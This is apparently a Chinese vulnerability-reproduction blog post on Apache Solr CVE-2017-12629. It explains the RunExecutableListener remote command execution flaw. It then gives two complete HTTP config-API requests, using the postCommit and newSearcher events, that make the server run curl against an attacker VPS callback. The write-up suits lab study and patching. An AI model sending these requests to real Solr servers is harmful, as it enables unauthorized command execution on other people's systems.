当前位置:   article > 正文

漏洞复现----3、Apache Solr 远程命令执行漏洞(CVE-2017-12629)

cve-2017-12629


一、Apache Solr 简介

Solr是基于Lucene的面向企业搜索的web应用,是一个独立的企业级搜索应用服务器。它对外提供类似于Web-service的API接口。

用户可以通过HTTP请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;
也可以通过HTTP GET操作提出查找请求,并得到Xml/json格式的返回结果。

Lucene是一个高效的,基于Java的全文检索库。Lucene是一个开放源代码的全文检索引擎工具包,但它不是一个完整的全文检索引擎,而是一个全文检索引擎的架构。
Apache Solr下载安装


二、CVE-2017-12629简介

影响版本:
Apache Solr < 7.1
Apache Lucene < 7.1
  • 1
  • 2
  • 3

RunExecutableListener类中使用了Runtime.getRuntime().exec()方法,可用于在某些特定事件中执行任意命令。使用了config API传入add-listener命令即可调用RunExecutableListener,而“exe”,“dir”,“args”内容也都可以通过http的方式传入,所以在没有访问控制的情况下任何人都可以通过该config API 达到任意命令执行的操作,能够触发命令执行的事件有两个:postCommitnewSearcher。使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求,但使用newSearcher时可直接执行命令。

能够触发命令执行的事件有两个:postCommit 和 newSearcher
在这里插入图片描述


三、漏洞复现

3.1、使用postCommit

1、使用postCommit时,需要使用update进行collection更新后命令才会执行,因此需要两次进行请求。

POST /solr/test/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"postCommit",
    "name":"newlistener",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://vps:端口"]
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

在这里插入图片描述
在这里插入图片描述

3.2、使用newSearcher

可直接执行命令

POST /solr/test/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198

{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-1",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://vps:端口"]
  }
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16

此漏洞复现过程中反弹shell未出现。
参考链接:
https://paper.seebug.org/425/
https://vulhub.org/#/environments/solr/CVE-2017-12629-RCE/

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/57452
推荐阅读
相关标签
  

闽ICP备14008679号